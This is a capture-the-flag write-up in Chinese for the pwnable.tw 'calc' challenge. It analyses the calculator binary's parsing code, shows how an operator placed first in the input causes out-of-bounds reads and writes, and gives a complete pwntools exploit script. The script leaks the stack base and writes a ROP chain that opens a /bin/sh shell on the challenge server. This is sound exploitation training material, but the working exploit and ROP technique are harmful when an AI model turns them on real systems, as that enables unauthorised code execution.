# pwnable.tw-calc > Author: 堇姬Naup ## code analyze ### call calc 這邊呼叫了calc ```c int __cdecl main(int argc, const char **argv, const char **envp) { ssignal(14, timeout); alarm(60); puts("=== Welcome to SECPROG calculator ==="); fflush(stdout); calc(); return puts("Merry Christmas!"); } ``` ### calc ```c unsigned int calc() { int pool[101]; // [esp+18h] [ebp-5A0h] BYREF char user_input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF unsigned int v3; // [esp+5ACh] [ebp-Ch] v3 = __readgsdword(0x14u); while ( 1 ) { bzero(user_input, 1024); if ( !get_expr((int)user_input, 1024) ) break; init_pool(pool); if ( parse_expr(user_input, pool) ) { printf("%d\n", pool[pool[0]]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; } ``` 首先呼叫了bzero(user_input, 1024); 將user_input設為0 最後輸出printf("%d\n", pool[pool[0]]); ### get_expr ```c int __cdecl get_expr(int user_input, int num_1024) { int idx; // eax char input_char; // [esp+1Bh] [ebp-Dh] BYREF int cnt; // [esp+1Ch] [ebp-Ch] cnt = 0; while ( cnt < num_1024 && read(0, &input_char, 1) != -1 && input_char != 10 ) { if ( input_char == 43 || input_char == 45 || input_char == 42 || input_char == 47 || input_char == 37 || input_char > 47 && input_char <= 57 ) { idx = cnt++; *(_BYTE *)(user_input + idx) = input_char; } } *(_BYTE *)(cnt + user_input) = 0; return cnt; } ``` 這部分判斷是不是加減乘除取餘及0~9,是就存進去,最後補0 user_input -> esp+0x1AC ``` pwndbg> x/10xg 0xffffc830+0x1AC 0xffffc9dc: 0x0000000000322b32 0x0000000000000000 0xffffc9ec: 0x0000000000000000 0x0000000000000000 ``` ### init_pool ```c _DWORD *__cdecl init_pool(_DWORD *pool) { _DWORD *result; // eax int i; // [esp+Ch] [ebp-4h] result = pool; *pool = 0; for ( i = 0; i <= 99; ++i ) { result = pool; pool[i + 1] = 0; } return result; } ``` 將pool清空 ### parse_expr ```c int __cdecl parse_expr(int user_input, _DWORD *pool) { int pool_idx; // eax int user_input_ptr; // [esp+20h] [ebp-88h] int i; // [esp+24h] [ebp-84h] int Operator_array_idx; // [esp+28h] [ebp-80h] int part_user_input_size; // [esp+2Ch] [ebp-7Ch] char *part_user_input; // [esp+30h] [ebp-78h] int int_part_user_input; // [esp+34h] [ebp-74h] char Operator_array[100]; // [esp+38h] [ebp-70h] BYREF unsigned int stack_canary; // [esp+9Ch] [ebp-Ch] stack_canary = __readgsdword(0x14u); user_input_ptr = user_input; Operator_array_idx = 0; bzero((int)Operator_array, 100); for ( i = 0; ; ++i ) { if ( (unsigned int)(*(char *)(i + user_input) - 48) > 9 ) { part_user_input_size = i + user_input - user_input_ptr; part_user_input = (char *)malloc(part_user_input_size + 1); memcpy(part_user_input, user_input_ptr, part_user_input_size); part_user_input[part_user_input_size] = 0; if ( !strcmp(part_user_input, &unk_80BF7A8) ) { puts("prevent division by zero"); fflush(stdout); return 0; } int_part_user_input = atoi(part_user_input); if ( int_part_user_input > 0 ) { pool_idx = (*pool)++; pool[pool_idx + 1] = int_part_user_input; } if ( *(_BYTE *)(i + user_input) && (unsigned int)(*(char *)(i + 1 + user_input) - 48) > 9 ) { puts("expression error!"); fflush(stdout); return 0; } user_input_ptr = i + 1 + user_input; if ( Operator_array[Operator_array_idx] ) { switch ( *(_BYTE *)(i + user_input) ) { case '%': case '*': case '/': if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 ) goto LABEL_14; Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input); break; case '+': case '-': LABEL_14: eval(pool, Operator_array[Operator_array_idx]); Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input); break; default: eval(pool, Operator_array[Operator_array_idx--]); break; } } else { Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input); } if ( !*(_BYTE *)(i + user_input) ) break; } } while ( Operator_array_idx >= 0 ) eval(pool, Operator_array[Operator_array_idx--]); return 1; } ``` 首先是變數初始化,接下來進到 ```c for (i = 0; ; ++i) { if ((unsigned int)(*(char *)(i + user_input) - 48) > 9) { ... } } ``` 循環直到碰到0 ```c part_user_input_size = i + user_input - user_input_ptr; part_user_input = (char *)malloc(part_user_input_size + 1); memcpy(part_user_input, user_input_ptr, part_user_input_size); part_user_input[part_user_input_size] = 0; ``` 這部分計算長度,並將切出來的部分存入chunk中 ```c if (!strcmp(part_user_input, &unk_80BF7A8)) { puts("prevent division by zero"); fflush(stdout); return 0; } ``` 這部分防止除以0 ```c int_part_user_input = atoi(part_user_input); if (int_part_user_input > 0) { pool_idx = (*pool)++; pool[pool_idx + 1] = int_part_user_input; } ``` 將字串符轉數字,並存入pool pool[0] = pool.size() 接下來就是要做操作的數字 根據user input先把第一個數字放到pool[1] 接下來會判斷Operator_array是否有值 若沒值則去抓值 有值則進入運算 ```c user_input_ptr = i + 1 + user_input; if ( Operator_array[Operator_array_idx] ) { switch ( *(_BYTE *)(i + user_input) ) { case '%': case '*': case '/': if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 ) goto LABEL_14; Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input); break; case '+': case '-': LABEL_14: eval(pool, Operator_array[Operator_array_idx]); Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input); break; default: eval(pool, Operator_array[Operator_array_idx--]); break; } } else { Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input); } if ( !*(_BYTE *)(i + user_input) ) break; } ``` ### eval ```c _DWORD *__cdecl eval(_DWORD *pool, char Operator) { _DWORD *result; // eax if ( Operator == 43 ) { pool[*pool - 1] += pool[*pool]; } else if ( Operator > 43 ) { if ( Operator == 45 ) { pool[*pool - 1] -= pool[*pool]; } else if ( Operator == 47 ) { pool[*pool - 1] /= (int)pool[*pool]; } } else if ( Operator == 42 ) { pool[*pool - 1] *= pool[*pool]; } result = pool; --*pool; return result; } ``` 這就是抓當前長度跟當前長度-1的索引做運算 ## 分析 他有限制符號不能接符號,但他看起來預期的輸入會是 ``` 數字 符號 數字 符號... ``` 若我們先輸入符號呢 ### 狀況A > +5 pool=[1,5] Operation=['+'] pool[*pool - 1] = pool[*pool - 1] + pool[*pool] pool[0] = pool[0] + 5 pool[0] = 6 -\-*pool; pool[0] = 5 printf("%d\n", pool[pool[0]]) = pool[5] 這樣子就oob read了 ### 狀況B > +399+1234 pool=[1,399] Operation=['+'] 第一輪 pool[*pool - 1] = pool[*pool - 1] + pool[*pool] pool[0] = pool[0] + 399 pool[0] = 400 第二輪 pool=[400,399,0,...,0,1234] Operation=['+'] *pool = *pool + 1 pool[*pool + 1 - 1] = pool[*pool + 1 - 1] + pool[*pool + 1] pool[400] = pool[400] + 1234 -\-*pool pool[0] = 399 這樣就oob write了 ``` naup@naup-virtual-machine:~/Desktop/pwn/pwnable/calc$ ./calc === Welcome to SECPROG calculator === +400 -3405332 +399+1234 1234 +400 1234 ``` ## 如何RCE static,串ROP就可以了 |gadget|address| |------|-------| |pop eax ; ret|0x0805c34b | |pop edx ; pop ecx ; pop ebx ; ret|0x080701d0| |int 0x80|0x08049a21| pool在ebp-0x5A0 ``` >>> (0x5a0+0x4)//4 361 ``` save ebp在pool[360] ret address在pool[361] 接下來就直接串 ## exploit ```python from pwn import * from NAUP_pwn_lib import * import time def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) context(arch = 'i386', os = 'linux') REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./calc') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10100") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) #p_c(r,'b *0x0804940a') ### exploit sla(b"\n",b"+360") main_ebp = int(rcl().strip()) NAUPINFO('EBP',hex(main_ebp)) pop_eax = 0x0805c34b pop_edx_ecx_ebx = 0x080701d0 syscall = 0x08049a21 ROPchain = [pop_eax, 0x0b, pop_edx_ecx_ebx, 0x0, 0x0, main_ebp+0x8, syscall, 0x0,0x0, u32("/bin"), u32("/sh\0") ] offset = 361 for i in ROPchain: payload = '+' + str(offset) sl(payload) a = i - int(r.recv()) if a >= 0: payload += '+' + str(a) else: payload += str(a) sl(payload) r.recv() offset += 1 ### ita() ```